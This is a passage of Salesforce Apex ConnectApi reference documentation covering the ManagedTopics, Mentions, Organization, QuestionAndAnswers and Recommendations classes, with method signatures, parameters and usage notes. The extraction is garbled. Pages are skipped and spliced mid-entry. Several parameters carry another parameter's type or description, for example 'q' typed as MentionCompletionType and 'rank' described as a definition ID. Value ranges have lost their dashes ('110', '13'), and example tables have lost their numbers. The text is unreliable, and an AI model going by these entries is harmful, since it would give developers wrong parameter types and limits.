Type: Integer
The maximum number of articles returned. Values can be from 0 to 25. Default is 5.

Return Value
Type: ConnectApi.KnowledgeArticleVersionCollection

getTrendingArticlesForTopic(communityId, topicId, maxResults)

Get the trending articles for a topic in a community.

1178

Reference

Knowledge Class

API Version
36.0

Available to Guest Users

Creates a managed topic of a specific type by name for the specified community.
createManagedTopicByName(communityId, name, managedTopicType, parentId)
Creates a child managed topic by name for a community.
deleteManagedTopic(communityId, managedTopicId)
Deletes a managed topic from the specified community.
getManagedTopic(communityId, managedTopicId)
Returns information about a managed topic in a community.
getManagedTopic(communityId, managedTopicId, depth)
Returns information about a managed topic, including its parent and children managed topics, in a community.
getManagedTopics(communityId)
Returns the managed topics for the community.
getManagedTopics(communityId, managedTopicType)
Returns managed topics of a specified type for the community.
getManagedTopics(communityId, managedTopicType, depth)
Returns managed topics of a specified type, including their parent and children managed topics, in a community.
getManagedTopics(communityId, managedTopicType, recordId, depth)
Returns managed topics of a specified type, including their parent and children managed topics, that are associated with a given
topic in a community.
reorderManagedTopics(communityId, managedTopicPositionCollection)
Reorders the relative positions of managed topics in a community.

createManagedTopic(communityId, recordId, managedTopicType)

Creates a managed topic of a specific type for the specified community.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopic createManagedTopic(String communityId, String
recordId, ConnectApi.ManagedTopicType managedTopicType)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1182

Reference

ManagedTopics Class

recordId

Type: String
ID of the topic.
managedTopicType
Type: ConnectApi.ManagedTopicType

Specify the type of managed topic.

FeaturedTopics that are featured, for example, on the community home page, but dont provide overall navigation.
NavigationalTopics that display in a navigational menu in the community.
A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
You can create up to 25 managed topics per managedTopicType.

Return Value
Type: ConnectApi.ManagedTopic

Usage
Only community managers (users with the Create and Set Up Communities or Manage Communities permission) can create managed
topics.

createManagedTopic(communityId, recordId, managedTopicType, parentId)

Creates a child managed topic for a community.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopic createManagedTopic(String communityId, String
recordId, ConnectApi.ManagedTopicType managedTopicType, String parentId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recordId

Type: String
ID of the topic.

1183

Reference

ManagedTopics Class

managedTopicType
Type: ConnectApi.ManagedTopicType

Specify Navigational for the type of managed topic to create a child managed topic.
A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
You can create up to 25 managed topics per managedTopicType.
parentId

Type: String
ID of the parent managed topic.
You can create up to three levels (parent, direct children, and their children) of managed topics and up to 10 children managed
topics per managed topic.

Return Value
Type: ConnectApi.ManagedTopic

Usage
Only community managers (users with the Create and Set Up Communities or Manage Communities permission) can create managed
topics.

createManagedTopicByName(communityId, name, managedTopicType)

Creates a managed topic of a specific type by name for the specified community.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopic createManagedTopicByName(String communityId,
String name, ConnectApi.ManagedTopicType managedTopicType)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
name

Type: String
Name of the topic.

1184

Reference

ManagedTopics Class

managedTopicType
Type: ConnectApi.ManagedTopicType

Specify the type of managed topic.

Return Value
Type: ConnectApi.ManagedTopic

Usage
Only community managers (users with the Create and Set Up Communities or Manage Communities permission) can create managed
topics.

createManagedTopicByName(communityId, name, managedTopicType, parentId)

Creates a child managed topic by name for a community.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopic createManagedTopicByName(String communityId,
String name, ConnectApi.ManagedTopicType managedTopicType, String parentId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
name

Type: String
Name of the topic.
managedTopicType
Type: ConnectApi.ManagedTopicType

Specify Navigational for the type of managed topic to create a child managed topic.

1185

Reference

ManagedTopics Class

A topic can be associated with up to two managed topic types, so a topic can be both a Featured topic and a Navigational
topic.
You can create up to 25 managed topics per managedTopicType.
parentId

Type: String
ID of the parent managed topic.
You can create up to three levels (parent, direct children, and their children) of managed topics and up to 10 children managed
topics per managed topic.

Return Value
Type: ConnectApi.ManagedTopic

Usage
Only community managers (users with the Create and Set Up Communities or Manage Communities permission) can create managed
topics.

deleteManagedTopic(communityId, managedTopicId)
Deletes a managed topic from the specified community.

API Version
32.0

Requires Chatter
No

Signature
public static deleteManagedTopic(String communityId, String managedTopicId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
managedTopicId

Type: String
ID of managed topic.

Return Value
Type: Void

1186

Reference

ManagedTopics Class

Usage
Only community managers (users with the Create and Set Up Communities or Manage Communities permission) can delete managed
topics.

getManagedTopic(communityId, managedTopicId)
Returns information about a managed topic in a community.

API Version
32.0

Available to Guest Users

32.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopic getManagedTopic(String communityId, String
managedTopicId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
managedTopicId

Type: String
ID of managed topic.

Return Value
Type: ConnectApi.ManagedTopic

getManagedTopic(communityId, managedTopicId, depth)

Returns information about a managed topic, including its parent and children managed topics, in a community.

API Version
35.0

Available to Guest Users

35.0

1187

Reference

ManagedTopics Class

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopic getManagedTopic(String communityId, String
managedTopicId, Integer depth)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
managedTopicId

Type: String
ID of managed topic.
depth

Type: Integer
Specify an integer 13. If you specify 1, the children property of the ConnectApi.ManagedTopic output class is null.
If you specify 2, the children property of the ConnectApi.ManagedTopic output class contains the direct children
managed topics, if any, of the managed topic. If you specify 3, you get the direct children managed topics and their children managed
topics if there are any. If depth isnt specified, it defaults to 1.

Return Value
Type: ConnectApi.ManagedTopic

getManagedTopics(communityId)
Returns the managed topics for the community.

API Version
32.0

Available to Guest Users

32.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopicCollection getManagedTopics(String communityId)

1188

Type: String
ID of the topic associated with the managed topics.
depth

Return Value
Type: ConnectApi.ManagedTopicCollection

reorderManagedTopics(communityId, managedTopicPositionCollection)
Reorders the relative positions of managed topics in a community.

1191

Reference

ManagedTopics Class

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.ManagedTopicCollection reorderManagedTopics(String communityId,
ConnectApi.ManagedTopicPositionCollectionInput managedTopicPositionCollection)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
managedTopicPositionCollection
Type: ConnectApi.ManagedTopicPositionCollectionInput

A collection of relative positions of managed topics. This collection can include Featured and Navigational managed
topics and doesnt have to include all managed topics.

Return Value
Type: ConnectApi.ManagedTopicCollection

Usage
Only community managers (users with the Create and Set Up Communities or Manage Communities permission) can reorder managed
topics.
You can reorder parent managed topics or children managed topics with the same parent. If you dont include all managed topics in
the ConnectApi.ManagedTopicPositionCollectionInput, the managed topics are reordered by respecting the
positions indicated in the ConnectApi.ManagedTopicPositionCollectionInput and then by pushing down any
managed topics that arent included in the ConnectApi.ManagedTopicPositionCollectionInput to the next available
position.

Example
If you have these managed topics:
Managed Topic

Position

ManagedTopicA

ManagedTopicB

ManagedTopicC

ManagedTopicD

1192

Reference

Mentions Class

Managed Topic

Position

ManagedTopicE

And you reorder managed topics by including this information in ConnectApi.ManagedTopicPositionCollectionInput:

Managed Topic

Position

ManagedTopicD

ManagedTopicE

The result is:

Managed Topic

Position

ManagedTopicD

ManagedTopicA

ManagedTopicE

ManagedTopicB

ManagedTopicC

Mentions Class
Access information about mentions. A mention is an @ character followed by a user or group name. When a user or group is mentioned,
they receive a notification.

Namespace
ConnectApi

Mentions Methods
The following are methods for Mentions. All methods are static.
IN THIS SECTION:
getMentionCompletions(communityId, q, contextId)
Returns the first page of possible users and groups to mention in a feed item body or comment body. A mention is an @ character
followed by a user or group name. When a user or group is mentioned, they receive a notification.
getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)
Returns the specified page number of mention proposals of the specified mention completion type: All, User, or Group. A mention
is an @ character followed by a user or group name. When a user or group is mentioned, they receive a notification.

1193

Reference

Mentions Class

getMentionValidations(communityId, parentId, recordIds, visibility)

Information about whether the specified mentions are valid for the context user.

getMentionCompletions(communityId, q, contextId)
Returns the first page of possible users and groups to mention in a feed item body or comment body. A mention is an @ character
followed by a user or group name. When a user or group is mentioned, they receive a notification.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.MentionCompletionPage getMentionCompletions (String communityId,
String q, String contextId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
A search term. Searches for matching user and group names. To search for a user, a minimum of 1 character is required. To search
for a group, a minimum of 2 characters is required. This parameter does not support wildcards.
contextId

Type: String
A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with
more useful results listed first. Use a group ID for groups that allow customers to ensure mention completion results include customers.

Return Value
Type: ConnectApi.MentionCompletionPage

Usage
Call this method to generate a page of proposed mentions that a user can choose from when they enter characters in a feed item body
or a comment body.

1194

Reference

Mentions Class

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetMentionCompletions(communityId, q, contextId, result)
Testing ConnectApi Code

getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)

Returns the specified page number of mention proposals of the specified mention completion type: All, User, or Group. A mention is an
@ character followed by a user or group name. When a user or group is mentioned, they receive a notification.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.Mentions getMentionCompletions (String communityId, String q,
String contextId, ConnectApi.MentionCompletionType type, Integer pageParam, Integer
pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: ConnectApi.MentionCompletionType
Specifies the type of mention completion:
AllAll mention completions, regardless of the type of record to which the mention refers.
GroupMention completions for groups.
UserMention completions for users.

1195

Reference

Mentions Class

pageParam

Type: String
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: String
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.MentionCompletionPage

Usage
Call this method to generate a page of proposed mentions that a user can choose from when they enter characters in a feed item body
or a comment body.
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetMentionCompletions(communityId, q, contextId, type, pageParam, pageSize, result)
Testing ConnectApi Code

getMentionValidations(communityId, parentId, recordIds, visibility)

Information about whether the specified mentions are valid for the context user.

API Version
29.0

Requires Chatter
Yes

Signature
public static ConnectApi.Mentions getMentionValidations(String communityId, String
parentId, List<String> recordIds, ConnectApi.FeedItemVisibilityType visibility)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
parentId

Type: String
The feed item parent ID (for new feed items) or feed item ID (for comments).

1196

Reference

Mentions Class

recordIds

Type: List<String>
A comma separated list of IDs to be mentioned. The maximum value is 25.
visibility
Type: ConnectApi.FeedItemVisibilityType

Specifies the type of users who can see a feed item.

AllUsersVisibility is not limited to internal users.
InternalUsersVisibility is limited to internal users.

Return Value
Type: ConnectApi.MentionValidations

Usage
Call this method to check whether the record IDs returned from a call to ConnectApi.Mentions.getMentionCompletions
are valid for the context user. For example, the context user cant mention private groups he doesnt belong to. If such a group were
included in the list of mention validations, the ConnectApi.MentionValidations.hasErrors property would be true
and the group would have a ConnectApi.MentionValidation.valdiationStatus of Disallowed.

Mentions Test Methods

The following are the test methods for Mentions. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

setTestGetMentionCompletions(communityId, q, contextId, result)

Registers a ConnectApi.MentionCompletionPage object to be returned when getMentionCompletions(String,
String, String) is called in a test context.

API Version
29.0

Signature
public static Void setTestGetMentionCompletions (String communityId, String q, String
contextId, ConnectApi.MentionCompletionPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String

1197

Reference

Mentions Class

A search term. Searches for matching user and group names. To search for a user, a minimum of 1 character is required. To search
for a group, a minimum of 2 characters is required. This parameter does not support wildcards.
contextId

Type: ConnectApi.MentionCompletionPage
A ConnectApi.MentionCompletionPage object containing test data.

Return Value
Type: Void
SEE ALSO:
getMentionCompletions(communityId, q, contextId)
Testing ConnectApi Code

setTestGetMentionCompletions(communityId, q, contextId, type, pageParam,

pageSize, result)
Registers a ConnectApi.MentionCompletionPage object to be returned when getMentionCompletions(String,
String, String, ConnectApi.MentionCompletionType, Integer, Integer) is called in a test context.

API Version
29.0

Signature
public static Void setTestGetMentionCompletions (String communityId, String q, String
contextId, ConnectApi.MentionCompletionType type, Integer pageParam, Integer pageSize,
ConnectApi.MentionCompletionPage result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String

1198

Reference

Organization Class

A feed item ID (for a mention in a comment) or a feed subject ID (for a mention in a feed item) that narrows search results, with
more useful results listed first. Use a group ID for groups that allow customers to ensure mention completion results include customers.
type

Type: String
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: String
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
result

Type: ConnectApi.MentionCompletionPage
A ConnectApi.MentionCompletionPage object containing test data.

Return Value
Type: Void
SEE ALSO:
getMentionCompletions(communityId, q, contextId, type, pageParam, pageSize)
Testing ConnectApi Code

Organization Class
Access information about an organization.

Namespace
ConnectApi
This is the static method of the Organization class:

Organization Methods
The following are methods for Organization. All methods are static.
IN THIS SECTION:
getSettings()
Returns information about the organization and context user, including which features are enabled.

1199

Reference

QuestionAndAnswers Class

getSettings()
Returns information about the organization and context user, including which features are enabled.

API Version
28.0

Requires Chatter
No

Signature
public static ConnectApi. OrganizationSettings getSettings()

Return Value
Type: ConnectApi.OrganizationSettings

QuestionAndAnswers Class
Access question and answers suggestions.

Namespace
ConnectApi
IN THIS SECTION:
QuestionAndAnswers Methods

QuestionAndAnswers Methods
The following are methods for QuestionAndAnswers. All methods are static.
IN THIS SECTION:
getSuggestions(communityId, q, subjectId, includeArticles, maxResults)
Returns question and answers suggestions.
setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults, result)
Registers a ConnectApi.QuestionAndAnswersSuggestions object to be returned when getSuggestions is
called with matching parameters in a test context. You must use the method with the same parameters or the code throws an
exception.
updateQuestionAndAnswers(communityId, feedElementId, questionAndAnswersCapability)
Choose or change the best answer for a question.

1200

Reference

QuestionAndAnswers Class

getSuggestions(communityId, q, subjectId, includeArticles, maxResults)

Returns question and answers suggestions.

API Version
32.0

Requires Chatter
No

Signature
public static ConnectApi.QuestionAndAnswersSuggestions getSuggestions(String communityId,
String q, String subjectId, Boolean includeArticles, Integer maxResults)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
subjectId

Type: String
Specify a subject ID to search only questions on that object. If the ID is a topic or a user, the ID is ignored.
includeArticles

Type: Boolean
Specify true to include knowledge articles in the search results. To return only questions, specify false.
maxResults

Type: Integer
The maximum number of results to return for each type of item. Possible values are 110. The default value is 5.

Return Value
Type: ConnectApi.QuestionAndAnswersSuggestions

1201

Reference

QuestionAndAnswers Class

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults, result)
Testing ConnectApi Code

setTestGetSuggestions(communityId, q, subjectId, includeArticles, maxResults,

result)
Registers a ConnectApi.QuestionAndAnswersSuggestions object to be returned when getSuggestions is called
with matching parameters in a test context. You must use the method with the same parameters or the code throws an exception.

API Version
32.0

Signature
public static Void setTestGetSuggestions(String communityId, String q, String subjectId,
Boolean includeArticles, Integer maxResults, ConnectApi.QuestionAndAnswersSuggestions
result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
q

Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including
wildcards. See Wildcards.
subjectId

Type: String
Specify a subject ID to search only questions on that object. If the ID is a topic or a user, the ID is ignored.
includeArticles

Type: Boolean
Specify true to include knowledge articles in the search results. To return only questions, specify false.
maxResults

Type: Integer
The maximum number of results to return for each type of item. Possible values are 110. The default value is 5.
result

Type: ConnectApi.QuestionAndAnswersSuggestions

1202

Reference

QuestionAndAnswers Class

The object containing test data.

Return Value
Type: Void
SEE ALSO:
getSuggestions(communityId, q, subjectId, includeArticles, maxResults)
Testing ConnectApi Code

updateQuestionAndAnswers(communityId, feedElementId,
questionAndAnswersCapability)
Choose or change the best answer for a question.

API Version
32.0

Requires Chatter
Yes

Signature
public static ConnectApi.QuestionAndAnswersCapability updateQuestionAndAnswers(String
communityId, String feedElementId, ConnectApi.QuestionAndAnswersCapabilityInput
questionAndAnswersCapability)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
The ID for a feed element.
questionAndAnswersCapability

Type: ConnectApi.QuestionAndAnswersCapabilityInput
Specify the best answer (comment ID) for the question.

Return Value
Type: ConnectApi.QuestionAndAnswersCapability
If the feed element doesnt support this capability, the return value is ConnectApi.NotFoundException.

1203

Reference

Recommendations Class

Example
ConnectApi.QuestionAndAnswersCapabilityInput qaInput = new
ConnectApi.QuestionAndAnswersCapabilityInput();
qaInput.bestAnswerId = '0D7D00000000lMAKAY';
ConnectApi.QuestionAndAnswersCapability qa =
ConnectApi.QuestionAndAnswers.updateQuestionAndAnswers(null, '0D5D0000000XZjJ', qaInput);

Recommendations Class
Access information about recommendations and reject recommendations. Also create, delete, get, and update recommendation
audiences, recommendation definitions, and scheduled recommendations.

Namespace
ConnectApi

Recommendations Methods
The following are methods for Recommendations. All methods are static.
IN THIS SECTION:
createRecommendationAudience(communityId, recommendationAudience)
Create an audience for a recommendation.
createRecommendationAudience(communityId, name)
Create an audience for a recommendation.
createRecommendationDefinition(communityId, recommendationDefinition)
Create a recommendation definition.
createRecommendationDefinition(communityId, name, title, actionUrl, actionUrlName, explanation)
Create a recommendation definition with the specified parameters.
createScheduledRecommendation(communityId, scheduledRecommendation)
Create a scheduled recommendation.
createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId)
Create a scheduled recommendation with the specified parameters.
createScheduledRecommendation(communityId, recommendationDefinitionId, rank, enabled, recommendationAudienceId, channel)
Create a scheduled recommendation with the specified parameters.
deleteRecommendationAudience(communityId, recommendationAudienceId)
Delete a recommendation audience.
deleteRecommendationDefinition(communityId, recommendationDefinitionId)
Delete a recommendation definition.
deleteRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Delete a recommendation definition photo.

1204

Reference

Recommendations Class

deleteScheduledRecommendation(communityId, scheduledRecommendationId, deleteDefinitionIfLast)

Delete a scheduled recommendation.
getRecommendationAudience(communityId, recommendationAudienceId)
Get information about a recommendation audience.
getRecommendationAudienceMembership(communityId, recommendationAudienceId)
Get the members of a recommendation audience.
getRecommendationAudienceMembership(communityId, recommendationAudienceId, pageParam, pageSize)
Get a page of recommendation audience members.
getRecommendationAudiences(communityId)
Get recommendation audiences.
getRecommendationAudiences(communityId, pageParam, pageSize)
Get a page of recommendation audiences.
getRecommendationDefinition(communityId, recommendationDefinitionId)
Get a recommendation definition.
getRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Get a recommendation definition photo.
getRecommendationDefinitions(communityId)
Get recommendation definitions.
getRecommendationForUser(communityId, userId, action, objectId)
Returns the recommendation for the context user for the specified action and object ID.
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)
Returns the user, group, file, record, custom, and static recommendations for the context user.
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults)
Returns the user, group, file, article, record, topic, custom, and static recommendations for the context user.
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action.
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults)
Returns the recommendations for the context user for the specified action.
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action and object category.
getRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel, maxResults)
Returns the recommendations for the context user for the specified action and object category.
getScheduledRecommendation(communityId, scheduledRecommendationId)
Get a scheduled recommendation.
getScheduledRecommendations(communityId)
Get scheduled recommendations.
getScheduledRecommendations(communityId, channel)
Get scheduled recommendations.
rejectRecommendationForUser(communityId, userId, action, objectId)
Rejects the recommendation for the context user for the specified action and object ID.

1205

Reference

Recommendations Class

rejectRecommendationForUser(communityId, userId, action, objectEnum)

Rejects the static recommendation for the context user.
updateRecommendationAudience(communityId, recommendationAudienceId, recommendationAudience)
Update a recommendation audience.
updateRecommendationDefinition(communityId, recommendationDefinitionId, name, title, actionUrl, actionUrlName, explanation)
Update a recommendation definition with the specified parameters.
updateRecommendationDefinition(communityId, recommendationDefinitionId, recommendationDefinition)
Update a recommendation definition.
updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileUpload)
Update a recommendation definition photo with a file that hasnt been uploaded.
updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId, fileId, versionNumber)
Update a recommendation definition photo with a file thats already uploaded.
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo)
Update a recommendation definition photo with a file thats been uploaded but requires cropping.
updateRecommendationDefinitionPhotoWithAttributes(communityId, recommendationDefinitionId, photo, fileUpload)
Update a recommendation definition photo with a file that hasnt been uploaded and requires cropping.
updateScheduledRecommendation(communityId, scheduledRecommendationId, scheduledRecommendation)
Update a scheduled recommendation.
updateScheduledRecommendation(communityId, scheduledRecommendationId, rank, enabled, recommendationAudienceId)
Update a scheduled recommendation with the specified parameters.

createRecommendationAudience(communityId, recommendationAudience)
Create an audience for a recommendation.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudience createRecommendationAudience(String
communityId, ConnectApi.RecommendationAudienceInput recommendationAudience)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationAudience
Type: ConnectApi.RecommendationAudienceInput

1206

Reference

Recommendations Class

A ConnectApi.RecommendationAudienceInput object.

Return Value
Type: ConnectApi.RecommendationAudience

createRecommendationAudience(communityId, name)
Create an audience for a recommendation.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudience createRecommendationAudience(String
communityId, String name)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
name

Type: String
The name of the audience.

Return Value
Type: ConnectApi.RecommendationAudience

1207

Reference

Recommendations Class

createRecommendationDefinition(communityId, recommendationDefinition)
Create a recommendation definition.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationDefinition createRecommendationDefinition(String
communityId, ConnectApi.RecommendationDefinitionInput recommendationDefinition)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinition
Type: ConnectApi.RecommendationDefinitionInput

A ConnectApi.RecommendationDefinitionInput object.

Return Value
Type: ConnectApi.RecommendationDefinition

Usage
Recommendation definitions allow you to create custom recommendations that appear in communities, encouraging users to watch
videos, take training and more.
Community managers (users with the Create and Set Up Communities or Manage Communities permission) can access, create, and
delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with
the Modify All Data permission can also access, create, and delete recommendation audiences, recommendation definitions, and
scheduled recommendations.
These recommendations appear by default on the Napili community home and question detail pages and in the feed in communities
in the Salesforce1 mobile browser app. They also appear anywhere community managers add recommendations using Community
Builder in communities using the Summer 15 or later version of the Napili template.

createRecommendationDefinition(communityId, name, title, actionUrl,

actionUrlName, explanation)
Create a recommendation definition with the specified parameters.

1208

Reference

Recommendations Class

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationDefinition createRecommendationDefinition(String
communityId, String name, String title, String actionUrl, String actionUrlName, String
explanation)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
name

Type: String
The name of the recommendation definition. The name is displayed in Setup.
title

Type: String
The title of the recommendation definition.
actionUrl

Type: String
The URL for acting on the recommendation, for example, the URL to join a group.
actionUrlName

Type: String
The text label for the action URL in the user interface, for example, Launch.
explanation

Type: String
The explanation, or body, of the recommendation.

Return Value
Type: ConnectApi.RecommendationDefinition

1209

Reference

Recommendations Class

the Modify All Data permission can also access, create, and delete recommendation audiences, recommendation definitions, and
scheduled recommendations.
These recommendations appear by default on the Napili community home and question detail pages and in the feed in communities
in the Salesforce1 mobile browser app. They also appear anywhere community managers add recommendations using Community
Builder in communities using the Summer 15 or later version of the Napili template.

createScheduledRecommendation(communityId, scheduledRecommendation)
Create a scheduled recommendation.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.ScheduledRecommendation createScheduledRecommendation(String
communityId, ConnectApi.ScheduledRecommendationInput scheduledRecommendation)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
scheduledRecommendation
Type: ConnectApi.ScheduledRecommendationInput

A ConnectApi.ScheduledRecommendationInput object.

Return Value
Type: ConnectApi.ScheduledRecommendation

createScheduledRecommendation(communityId, recommendationDefinitionId, rank,

enabled, recommendationAudienceId)
Create a scheduled recommendation with the specified parameters.

1210

Reference

Recommendations Class

API Version
35.0 only
Important: In version 36.0 and later, use createScheduledRecommendation(communityId,
recommendationDefinitionId, rank, enabled, recommendationAudienceId, channel).

Requires Chatter
No

Signature
public static ConnectApi.ScheduledRecommendation createScheduledRecommendation(String
communityId, String recommendationDefinitionId, Integer rank, Boolean enabled, String
recommendationAudienceId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String
ID of the recommendation definition.
rank

Type: Integer
Relative rank of the scheduled recommendation indicated by ascending whole numbers starting with 1.
Setting the rank is comparable to an insertion into an ordered list. The scheduled recommendation is inserted into the position
specified by the rank. The rank of all the scheduled recommendations after it is pushed down. See Ranking scheduled
recommendations example.
If the specified rank is larger than the size of the list, the scheduled recommendation is put at the end of the list. The rank of
the scheduled recommendation is the size of the list, instead of the one specified.
If a rank is not specified, the scheduled recommendation is put at the end of the list.
enabled

Type: Boolean
Indicates whether scheduling is enabled. If true, the recommendation is enabled and appears in communities. If false,
recommendations in feeds in the Salesforce1 mobile browser app arent removed, but no new recommendations appear. In
communities using the Summer 15 or later version of the Napili template, disabled recommendations no longer appear.
recommendationAudienceId

Type: String
ID of the recommendation definition that this scheduled recommendation schedules.

Return Value
Type: ConnectApi.ScheduledRecommendation

1211

Reference

Recommendations Class

Usage
Community managers (users with the Create and Set Up Communities or Manage Communities permission) can access, create, and
delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with
the Modify All Data permission can also access, create, and delete recommendation audiences, recommendation definitions, and
scheduled recommendations.
Ranking scheduled recommendations example
If you have these scheduled recommendations:
Scheduled Recommendations

Rank

ScheduledRecommendationA

ScheduledRecommendationB

ScheduledRecommendationC

And you include this information in the Scheduled Recommendation Input:

Scheduled Recommendation

Rank

ScheduledRecommendationD

The result is:

Scheduled Recommendation

Rank

ScheduledRecommendationA

ScheduledRecommendationD

ScheduledRecommendationB

ScheduledRecommendationC

createScheduledRecommendation(communityId, recommendationDefinitionId, rank,

enabled, recommendationAudienceId, channel)
Create a scheduled recommendation with the specified parameters.

API Version
36.0

Requires Chatter
No

1212

Reference

Recommendations Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String
ID of the recommendation definition.
rank

Type: String
ID of the recommendation definition that this scheduled recommendation schedules.
channel
Type: ConnectApi.RecommendationChannel

1213

Reference

Recommendations Class

CustomChannel5Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
DefaultChannelDefault recommendation channel. Recommendations appear by default on the Napili community home
and question detail pages and in the feed in communities in the Salesforce1 mobile browser app. They also appear anywhere
community managers add recommendations using Community Builder in communities using the Summer 15 or later version
of the Napili template.
Use these channel values; you cant rename or create other channels.

Return Value
Type: ConnectApi.ScheduledRecommendation

Rank

ScheduledRecommendationA

ScheduledRecommendationB

ScheduledRecommendationC

And you include this information in the Scheduled Recommendation Input:

Scheduled Recommendation

Rank

ScheduledRecommendationD

The result is:

Scheduled Recommendation

Rank

ScheduledRecommendationA

ScheduledRecommendationD

ScheduledRecommendationB

ScheduledRecommendationC

1214

Reference

Recommendations Class

deleteRecommendationAudience(communityId, recommendationAudienceId)
Delete a recommendation audience.

API Version
35.0

Requires Chatter
No

Signature
public static Void deleteRecommendationAudience(String communityId, String
recommendationAudienceId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationAudienceId

Type: String
ID of the recommendation audience.

Return Value
Type: Void

deleteRecommendationDefinition(communityId, recommendationDefinitionId)
Delete a recommendation definition.

API Version
35.0

Requires Chatter
No

1215

Reference

Recommendations Class

Signature
public static Void deleteRecommendationDefinition(String communityId, String
recommendationDefinitionId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String
ID of the recommendation definition.

Return Value
Type: Void

deleteRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Delete a recommendation definition photo.

API Version
35.0

Requires Chatter
Yes

Signature
public static Void deleteRecommendationDefinitionPhoto(String communityId, String
recommendationDefinitionId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String

1216

Reference

Recommendations Class

ID of the recommendation definition.

Return Value
Type: Void

deleteScheduledRecommendation(communityId, scheduledRecommendationId,
deleteDefinitionIfLast)
Delete a scheduled recommendation.

API Version
35.0

Requires Chatter
No

Signature
public static Void deleteScheduledRecommendation(String communityId, String
scheduledRecommendationId, Boolean deleteDefinitionIfLast)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
scheduledRecommendationId

Type: String
ID of the scheduled recommendation.
